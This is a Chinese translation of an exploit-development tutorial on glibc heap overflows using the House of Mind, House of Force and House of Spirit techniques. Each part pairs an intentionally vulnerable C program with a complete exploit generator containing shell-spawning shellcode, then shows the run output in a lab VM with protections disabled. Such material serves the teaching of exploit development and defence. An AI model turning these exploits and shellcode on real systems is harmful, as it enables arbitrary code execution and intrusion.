1. 程式人生 > >Linux (x86) Exploit 開發系列教程之十 使用 Malloc Maleficarum 的堆溢位

Linux (x86) Exploit 開發系列教程之十 使用 Malloc Maleficarum 的堆溢位

使用 Malloc Maleficarum 的堆溢位

預備條件:

從 2004 年末開始,glibc malloc 變得更可靠了。之後,類似 unlink 的技巧已經廢棄,攻擊者沒有線索。但是在 2005 年末,Phantasmal Phatasmagoria 帶來了下面這些技巧,用於成功利用堆溢位。

  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit

House of Mind

這個技巧中,攻擊者欺騙 glibc malloc 來使用由他偽造的 arena。偽造的 arena 以這種形式構造,unsorted bin 的 fd 包含free

的 GOT 條目地址 -12。因此現在當漏洞程式釋放某個塊的時候,free的 GOT 條目被覆蓋為 shellcode 的地址。在成功覆蓋 GOT 之後,當漏洞程式呼叫free,shellcode 就會執行。

預備條件:下面是成功應用 House of Mind 的預備條件,因為不是所有堆溢位漏洞程式都可以使用這個技巧來利用。

  1. 在塊的地址之前,需要一系列 malloc 呼叫 – 當對齊到記憶體區域中HEAP_MAX_SIZE結果的倍數的時候,記憶體區域由攻擊者控制。這是偽造的heap_info結構所在的記憶體區域。偽造的heap_info的 arena 指標ar_ptr會指向偽造的 arena。因此偽造的 arena 和偽造的heap_info

    的記憶體區域都能由攻擊者控制。

  2. 一個塊,它的大小欄位(以及它的 arena 指標 – 預備條件 1)由攻擊者控制,應該已釋放。

  3. 上述空閒塊的下一個塊應該不是 top 塊。

漏洞程式:這個程式滿足上述預備條件。

/* vuln.c
 House of Mind vulnerable program
 */
#include <stdio.h>
#include <stdlib.h>

int main (void) {
 char *ptr = malloc(1024); /* First allocated chunk */
 char *ptr2; /* Second chunk/Last but one chunk */
char *ptr3; /* Last chunk */ int heap = (int)ptr & 0xFFF00000; _Bool found = 0; int i = 2; for (i = 2; i < 1024; i++) { /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */ /* 0x08100000 is the place where fake heap_info structure is found. */ /* [1] */ if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \ (heap + 0x100000))) { printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2); found = 1; break; } } /* [2] */ ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */ /* User Input. */ /* [3] */ fread (ptr, 1024 * 1024, 1, stdin); /* [4] */ free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */ /* [5] */ free(ptr3); /* Shell code execution. */ return(0); /* Bye */ }

上述漏洞程式的堆記憶體:

1

漏洞程式的行[3]是堆溢位發生的地方。使用者輸入儲存在塊 1 的mem指標處,大小共計 1MB。所以為了成功利用堆溢位,攻擊者提供了下面的使用者輸入(列出順序相同)。

  • 偽造的 arena
  • 垃圾資料
  • 偽造的 heap_info
  • Shellcode

利用程式:這個程式生成了攻擊者的資料檔案:

/* exp.c
Program to generate attacker data.
Command:
     #./exp > file
*/
#include <stdio.h>

#define BIN1 0xb7fd8430

char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

char ret_str[4] = "\x00\x00\x00\x00";

void convert_endianess(int arg)
{
        int i=0;
        ret_str[3] = (arg & 0xFF000000) >> 24;
        ret_str[2] = (arg & 0x00FF0000) >> 16;
        ret_str[1] = (arg & 0x0000FF00) >> 8;
        ret_str[0] = (arg & 0x000000FF) >> 0;
}
int main() {
        int i=0,j=0;

        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
        /* Fake Arena. */
        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
        fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
        for(i=0;i<10;i++)
                fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
        fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
        for(i=0;i<127;i++) {
                convert_endianess(BIN1+(i*8));
                if(i == 119) {
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
                        fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
                } else if(i==0) {
                        fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
                        fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
                }
                else {
                        fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
                        fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
                }
        }
        for(i=0;i<4;i++) {
                fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
        }
        fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
        fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
        fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
        for(i=0;i<234;i++) {
                fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
        }
        for(i=0;i<722;i++) {
                if(i==721) {
                        /* Chunk 724 contains the shellcode. */
                        fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size  - Jmp 24 bytes */
                        fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
                        fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
                        "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout);  /* NOPS */
                        fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
                        for(j=0;j<230;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                        continue;
                } else {
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
                        fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
                }
                if(i==720) {
                        for(j=0;j<90;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                        fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
                        for(j=0;j<165;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                } else {
                        for(j=0;j<256;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                }
        }
        return 0;
}

漏洞程式的堆記憶體,在攻擊者生成資料作為使用者輸入之後:

2

在攻擊者生成資料作為使用者輸入之後,glibc malloc 執行下列事情,當漏洞程式的行[4]執行時:

  • 正在釋放的堆的 arena 由訪問arena_for_chunk獲取。
    • arena_for_chunk:如果沒有設定NON_MAIN_ARENA (N)位,會返回主 arena。如果設定了,會通過將塊地址對齊到HEAP_MAX_SIZE的倍數,來訪問相應的heap_info結構。之後,獲取到的heap_info結構的arena 指標會返回。我們這裡,NON_MAIN_ARENA位由攻擊者設定,因此會獲取正在釋放的塊的heap_info結構(0x08100000)。攻擊者也覆蓋了(所獲取的heap_info結構的)arena 指標,使其指向偽造的 arena,也就是說,heap_infoar_ptr等於偽造的 arena 的基址(0x0804a018)。
  • 使用 arena 指標和塊地址作為引數呼叫_int_free。我們這裡,arena 指標指向了偽造的 arena。因此偽造的 arena 和塊地址作為引數傳遞給了_int_free
    • 偽造的 arena:下面是偽造區域的受控欄位,需要由攻擊者覆蓋:
      • Mutex - 應該為 unlocked 狀態。
      • Bins - unsorted bin 的 fd 應該包含free的 GOT 條目地址。
      • Top - Top 地址應該不等於正在釋放的塊地址。
      • 系統記憶體 - 系統記憶體應該大於下一個塊大小。
    • _int_free()
      • 如果塊不是 mmap 分配的,要獲取鎖。我們這裡塊不是 mmap 分配的,偽造的 arena 的互斥鎖獲取成功。
      • 合併:
        • 檢視上一個塊是否空閒,如果空閒則合併。我們這裡上一個塊已分配,所以不能向後合併。
        • 檢視下一個塊是否空閒,如果空閒則合併。我們這裡下一個塊已分配,所以不能合併。
      • 將當前空閒塊放進 unsorted bin 中。我們這裡偽造的 arena 的 unsorted bin 的 fd 包含free的 GOT 條目地址 -12,它被複制給了fwd值。之後,當前空閒快的地址會複製給fwd->bkbk位於malloc_chunk偏移 12 處,因此, 12 會加到fwd值,也就是free - 12 + 12。所以現在free的 GOT 條目會變為當前空閒塊的地址。由於攻擊者已經將他的 shellcode 放進當前空閒塊了,現在開始,無論何時呼叫free,攻擊者的 shellcode 都會執行。

使用攻擊者生成的資料檔案,作為使用者輸入執行漏洞程式會執行 shellcode,像這樣:

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

保護:現在,house of mind 技術不起作用了,因為 glibc malloc 已經變得更加可靠。它添加了下面的檢查來防止使用 house of mind 的堆溢位。

  • 塊破壞:unsorted bin 的第一個塊的bk指標應該指向 unsorted bin。如果不是,glibc malloc 會丟擲塊破壞錯誤。

    if (__glibc_unlikely (fwd->bk != bck))
    {
        errstr = "free(): corrupted unsorted chunks";
        goto errout;
    }

House of Force

這個技巧中,攻擊者濫用 top 塊的大小,並欺騙 glibc malloc 使用 top 塊來服務於一個非常大的記憶體請求(大於堆系統記憶體大小)。現在當新的 malloc 請求產生時,free的 GOT 表就會覆蓋為 shellcode 地址。因此從現在開始,無論free何時呼叫,shellcode 都會執行。

預備條件:為了成功應用 house of force,需要下面三個 malloc 呼叫:

  • Malloc 1:攻擊者應該能夠控制 top 塊的大小。因此這個分配的塊,也就是物理上在 top 塊之前的塊上,應該能產生堆溢位。
  • Malloc 2:攻擊者應該能夠控制 malloc 請求的大小。
  • Malloc 3:使用者輸入應該能複製到這個所分配的塊中。

漏洞程式:這個程式滿足上述要求

/*
House of force vulnerable program. 
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> 

int main(int argc, char *argv[])
{
        char *buf1, *buf2, *buf3;
        if (argc != 4) {
                printf("Usage Error\n");
                return;
        }
        /* [1] */
        buf1 = malloc(256);
        /* [2] */
        strcpy(buf1, argv[1]); /* Prereq 1 */
        /* [3] */
        buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
        /* [4] */
        buf3 = malloc(256); /* Prereq 3 */
        /* [5] */
        strcpy(buf3, argv[3]); /* Prereq 3 */

        /* [6] */
        free(buf3);
        free(buf2);
        free(buf1);
        return 0;
}

上述漏洞程式的堆記憶體:

3

漏洞程式的行[2]是堆溢位發生的地方。因此為了成功利用堆溢位,攻擊者需要提供下面的命令列引數:

  • argv[1] – 需要複製到第一個 malloc 塊的 shellcode + 填充 + top 塊大小。
  • argv[2] – 第二個 malloc 塊的大小引數。
  • argv[3] – 複製到第三個 malloc 塊的使用者輸入。

利用程式:

/* Program to exploit executable 'vuln' using hof technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049858-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x08\xa0\x04\x08"

/* Spawn a shell. Size - 25 bytes. */
char scode[] =
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{       
        int i;
        char * p;
        char argv1[ 265 ];
        char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };

        strcpy(argv1,scode);
        for(i=25;i<260;i++)
                argv1[i] = 'A';

        strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
        argv[264] = ''; /* Terminating NULL character */ 

        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

漏洞程式的堆記憶體,一旦攻擊者的命令列引數複製到堆中:

4

使用攻擊者的引數,下面的事情會發生:

[2]會覆蓋 top 塊大小:

  • 攻擊者的引數(argv[1] – Shellcode + Pad + 0xFFFFFFFF)會複製到堆緩衝區buf1。但是由於argv[1]大於 256,top 塊的大小會覆蓋為0xFFFFFFFF

[3]使用 top 塊程式碼,分配了一個非常大的塊。

  • 非常大的塊的分配請求發生在分配之後,新的 top 塊應該位於free的 GOT 條目之前 8 個位元組處。所以另一個 malloc 請求(行[4])會幫助我們覆蓋free的 GOT 地址。
  • 攻擊者的引數(argv[2] – 0xFFFFF744)會作為大小引數,傳遞給第二個 malloc 呼叫(行[3])。大小引數使用下面的公式計算:
    • size = ((free-8)-top)
    • 其中
      • free是可執行檔案vuln的 GOT 條目,也就是free = 0x08049858
      • top是當前 top 塊(在第一個 malloc [1]之後),也就是top = 0x0804a108
    • 因此size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748
    • size = 0xFFFFF748時,我們的任務,將新的 top 塊放置在free的 GOT 條目之前 8 個位元組處,像這樣完成了:
      • (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
    • 但是,當攻擊者傳遞大小引數0xFFFFF748時,glibc malloc 將這個大小轉換為可用大小0xFFFFF750。因此,現在新的 top 塊大小應該位於0x8049858而不是0x8049850。因此攻擊者應該傳遞0xFFFFF744作為大小引數,而不是0xFFFFF748,因為他會轉換為我們所需的可用的大小0xFFFFF748

在行[4]中:

  • 現在由於行[3]中的 top 塊指向0x8049850,一個 256 位元組的記憶體分配請求會使 glibc malloc 返回0x8049858,他會複製到buf3

在行[5]中:

buf1的地址複製給buf3,會導致 GOT 覆蓋。因此free的呼叫(行[6])會導致 shellcode 執行。

使用攻擊者的命令列引數執行漏洞程式,會執行 shellcode,像這樣:

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ 

保護:直到現在,沒有新增針對這個技巧的任何保護。這個技巧能幫助我們利用堆溢位,即使它使用最新的 glibc 編譯。

House of Spirit

在這個技巧中,攻擊者欺騙 glibc malloc 來返回一個塊,它位於棧中(而不是堆中)。這允許攻擊者覆蓋儲存在棧中的返回地址。

預備條件:下面是用於成功利用 house of spirit 的預備條件,因為不是所有堆溢位漏洞程式都可以使用這個技巧利用。

  • 一個緩衝區溢位,用於覆蓋一個變數,它包含塊地址,由 glibc malloc 返回。
  • 上面的塊應該是空閒的。攻擊者應該能夠控制這個空閒塊的大小。它以這種方式控制,空閒塊的大小等於下一個分配塊的大小。
  • Malloc 一個塊。
  • 使用者輸入應該能夠複製到上面所分配的塊中。

漏洞程式:這個程式滿足上述要求

/* vuln.c
House of Spirit vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void fvuln(char *str1, int age)
{
   char *ptr1, name[44];
   int local_age;
   char *ptr2;
   [1]local_age = age; /* Prereq 2 */

   [2]ptr1 = (char *) malloc(256);
   printf("\nPTR1 = [ %p ]", ptr1);
   [3]strcpy(name, str1); /* Prereq 1 */
   printf("\nPTR1 = [ %p ]\n", ptr1);
   [4]free(ptr1); /* Prereq 2 */

   [5]ptr2 = (char *) malloc(40); /* Prereq 3 */
   [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
   printf("\n%s\n", ptr2);
}

int main(int argc, char *argv[])
{
   int i=0;
   int stud_class[10];  /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
   for(i=0;i<10;i++)
        [7]stud_class[i] = 10;
   if (argc == 3)
      fvuln(argv[1], 25);
   return 0;
}

上述漏洞程式的棧佈局:

5

漏洞程式的行[3]是緩衝區溢位發生處。因此為了成功利用漏洞程式,攻擊者需要提供下面的命令列引數:

argv[1] = Shell Code + Stack Address + Chunk size

利用程式:

/* Program to exploit executable 'vuln' using hos technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define VULNERABLE "./vuln"

/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
char scode[] =
        "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";

int main( void )
{
        int i;
        char * p;
        char argv1[54];
        char * argv[] = { VULNERABLE, argv1, NULL };

        strcpy(argv1,scode);

        /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
        strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); 

        argv[53] = '';

        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

使用攻擊者的引數之後,上述漏洞程式的棧佈局:

6

使用攻擊者的引數,讓我們看看返回地址如何覆蓋。

[3]:緩衝區溢位

  • 這裡攻擊者的輸入argv[1]複製到了字元緩衝區name中。因為攻擊者的輸入大於 44,變數ptr1loacl_age被棧地址和塊大小覆蓋。
    • 棧地址(0xbffffdf0) – 當行[5]執行時,攻擊者欺騙 glibc malloc 來返回這個地址。
    • 塊大小(0x30) – 當行[4]執行時,這個塊大小用於欺騙 glibc malloc。

[4]:將棧區域新增到 glibc malloc 的 fastbin 中。

  • free()呼叫了_int_free()。現在在緩衝區溢位之後,ptr1 = 0xbffffdf0(而不是0x804aa08)。被覆蓋的ptr1作為引數傳遞給free。這欺騙 glibc malloc 來釋放棧上的記憶體區域。被釋放的這個棧區域的大小,位於ptr1-8+4,被攻擊者覆蓋為0x30。因此 glibc malloc 將這個塊看做 fast 塊(因為48 < 64),並將釋放得快插入 fast binlist 的前面,位於下標 4。

[5]:獲取(在行[4]新增的)棧區域

  • malloc 請求 40 由checked_request2size轉換為可用大小 48。由於可用代銷 48 屬於 fast 塊,對應的 fast bin(位於下標 4)會被獲取。fast binlist 的第一個塊被溢位,並返回給使用者。第一個塊是在行[4]執行過程中新增的棧區域。

[6]:覆蓋返回地址

  • 將攻擊者的引數argv[1]複製到棧區域(由 glibc malloc 返回),它從0xbffffdf0位置開始。argv[1]的前 16 個位元組是:
    • \xeb\x0e:JMP 14 位元組。
    • \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41:填充。
    • \xb8\xfd\xff\xbf:儲存在棧上的返回地址會被這個值覆蓋。因此在fvuln執行之後,EIP 是0xbffffdb8 – 這個位置包含 JMP 指令,之後是派生 shell 的 shellcode。

使用攻擊者的引數執行漏洞程式會執行 shellcode,像這樣:

sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp 

PTR1 = [ 0x804a008 ]
PTR1 = [ 0xbffffdf0 ]

AAAAAAAAAA����1Ph//shh/bin��P��S$ ls
cmd  exp  exp.c  print  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$

保護:直到現在,沒有新增針對這個技巧的任何保護。這個技巧能幫助我們利用堆溢位,即使它使用最新的 glibc 編譯。

House of Prime: TBU

House of Lore: TBU

注意:出於演示目的,所有漏洞程式都不使用下列 Linux 保護機制編譯:

  • ASLR
  • NX
  • RELRO(重定向只讀)

參考